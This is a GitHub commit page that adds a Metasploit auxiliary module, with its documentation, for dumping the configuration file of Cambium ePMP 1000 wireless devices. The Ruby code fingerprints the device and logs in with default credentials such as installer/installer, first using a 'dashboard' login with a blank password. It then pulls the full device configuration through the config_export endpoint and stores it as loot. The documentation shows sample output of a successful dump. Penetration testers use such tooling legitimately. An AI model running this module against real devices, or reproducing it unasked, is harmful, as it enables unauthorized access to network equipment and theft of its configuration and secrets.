Skip to content

Commit 935c593

Browse files
committed
Land rapid7#7897, Add Cambium ePMP 1000 Device Configuration file dumper
2 parents d705949 + 63d88c1 commit 935c593

File tree

2 files changed

+284
-0
lines changed

2 files changed

+284
-0
lines changed
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/http/epmp1000_dump_config
14+
msf auxiliary(epmp1000_dump_config) > set rhosts 1.3.3.7
15+
msf auxiliary(epmp1000_dump_config) > set rport 80
16+
msf auxiliary(epmp1000_dump_config) > run
17+
18+
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2...
19+
[*] 1.3.3.7:80 - Attempting to login...
20+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
21+
[+] ++++++++++++++++++++++++++++++++++++++
22+
[+] 1.3.3.7 - dumping configuration
23+
[+] ++++++++++++++++++++++++++++++++++++++
24+
[+] 1.3.3.7:80 - File retrieved successfully!
25+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt
26+
[*] Scanned 1 of 1 hosts (100% complete)
27+
[*] Auxiliary module execution completed
28+
29+
30+
```
Lines changed: 254 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,254 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Cambium ePMP 1000 Dump Device Config',
17+
'Description' => %{
18+
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
19+
},
20+
'References' =>
21+
[
22+
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/']
23+
],
24+
'Author' =>
25+
[
26+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
27+
],
28+
'License' => MSF_LICENSE,
29+
'DefaultOptions' => { 'VERBOSE' => true })
30+
)
31+
32+
register_options(
33+
[
34+
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
35+
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
36+
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
37+
], self.class
38+
)
39+
end
40+
41+
def run_host(ip)
42+
unless is_app_epmp1000?
43+
return
44+
end
45+
46+
each_user_pass do |user, pass|
47+
do_login(user, pass)
48+
end
49+
end
50+
51+
def report_cred(opts)
52+
service_data = {
53+
address: opts[:ip],
54+
port: opts[:port],
55+
service_name: opts[:service_name],
56+
protocol: 'tcp',
57+
workspace_id: myworkspace_id
58+
}
59+
60+
credential_data = {
61+
origin_type: :service,
62+
module_fullname: fullname,
63+
username: opts[:user],
64+
private_data: opts[:password],
65+
private_type: :password
66+
}.merge(service_data)
67+
68+
login_data = {
69+
last_attempted_at: Time.now,
70+
core: create_credential(credential_data),
71+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
72+
proof: opts[:proof]
73+
}.merge(service_data)
74+
75+
create_credential_login(login_data)
76+
end
77+
78+
#
79+
# Check if App is Cambium ePMP 1000
80+
#
81+
82+
def is_app_epmp1000?
83+
begin
84+
res = send_request_cgi(
85+
{
86+
'uri' => '/',
87+
'method' => 'GET'
88+
}
89+
)
90+
91+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
92+
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
93+
return false
94+
end
95+
96+
good_response = (
97+
res &&
98+
res.code == 200 &&
99+
res.headers['Server'] &&
100+
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
101+
)
102+
103+
if good_response
104+
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
105+
if !get_epmp_ver.nil?
106+
epmp_ver = get_epmp_ver[1]
107+
if !epmp_ver.nil?
108+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
109+
return true
110+
else
111+
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
112+
return true
113+
end
114+
end
115+
else
116+
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
117+
return false
118+
end
119+
end
120+
121+
#
122+
# Login and dump config file
123+
#
124+
125+
def do_login(user, pass)
126+
print_status("#{rhost}:#{rport} - Attempting to login...")
127+
begin
128+
res = send_request_cgi(
129+
{
130+
'uri' => '/cgi-bin/luci',
131+
'method' => 'POST',
132+
'headers' => {
133+
'X-Requested-With' => 'XMLHttpRequest',
134+
'Accept' => 'application/json, text/javascript, */*; q=0.01'
135+
},
136+
'vars_post' =>
137+
{
138+
'username' => 'dashboard',
139+
'password' => ''
140+
}
141+
}
142+
)
143+
144+
good_response = (
145+
res &&
146+
res.code == 200 &&
147+
res.headers.include?('Set-Cookie') &&
148+
res.headers['Set-Cookie'].include?('sysauth')
149+
)
150+
151+
if good_response
152+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
153+
154+
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
155+
156+
res = send_request_cgi(
157+
{
158+
'uri' => '/cgi-bin/luci',
159+
'method' => 'POST',
160+
'cookie' => cookie1,
161+
'headers' => {
162+
'X-Requested-With' => 'XMLHttpRequest',
163+
'Accept' => 'application/json, text/javascript, */*; q=0.01',
164+
'Connection' => 'close'
165+
},
166+
'vars_post' =>
167+
{
168+
'username' => user,
169+
'password' => pass
170+
}
171+
}
172+
)
173+
end
174+
175+
good_response = (
176+
res &&
177+
res.code == 200 &&
178+
res.headers.include?('Set-Cookie') &&
179+
res.headers['Set-Cookie'].include?('stok=')
180+
)
181+
182+
if good_response
183+
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
184+
185+
report_cred(
186+
ip: rhost,
187+
port: rport,
188+
service_name: 'Cambium ePMP 1000',
189+
user: user,
190+
password: pass
191+
)
192+
193+
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
194+
if !get_stok.nil?
195+
stok_value = get_stok[1]
196+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
197+
198+
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
199+
200+
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
201+
202+
res = send_request_cgi(
203+
{
204+
'method' => 'GET',
205+
'uri' => config_uri,
206+
'cookie' => cookie2,
207+
'headers' => {
208+
'Accept' => '*/*',
209+
'Accept-Language' => 'en-US,en;q=0.5',
210+
'Accept-Encoding' => 'gzip, deflate',
211+
'X-Requested-With' => 'XMLHttpRequest',
212+
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
213+
'Connection' => 'close'
214+
}
215+
}, 25
216+
)
217+
218+
if res && res.code == 200 && res.body =~ /device_props/
219+
vprint_status('++++++++++++++++++++++++++++++++++++++')
220+
vprint_status("#{rhost}:#{rport} - dumping configuration")
221+
vprint_status('++++++++++++++++++++++++++++++++++++++')
222+
print_good("#{rhost}:#{rport} - File retrieved successfully!")
223+
224+
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
225+
print_status("#{rhost}:#{rport} - File saved in: #{path}")
226+
else
227+
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
228+
return
229+
end
230+
231+
# Extract ePMP version
232+
res = send_request_cgi(
233+
{
234+
'uri' => '/',
235+
'method' => 'GET'
236+
}
237+
)
238+
239+
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
240+
241+
report_cred(
242+
ip: rhost,
243+
port: rport,
244+
service_name: "Cambium ePMP 1000 v#{epmp_ver}",
245+
user: user,
246+
password: pass
247+
)
248+
end
249+
else
250+
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
251+
end
252+
end
253+
end
254+
end

0 commit comments

Comments
 (0)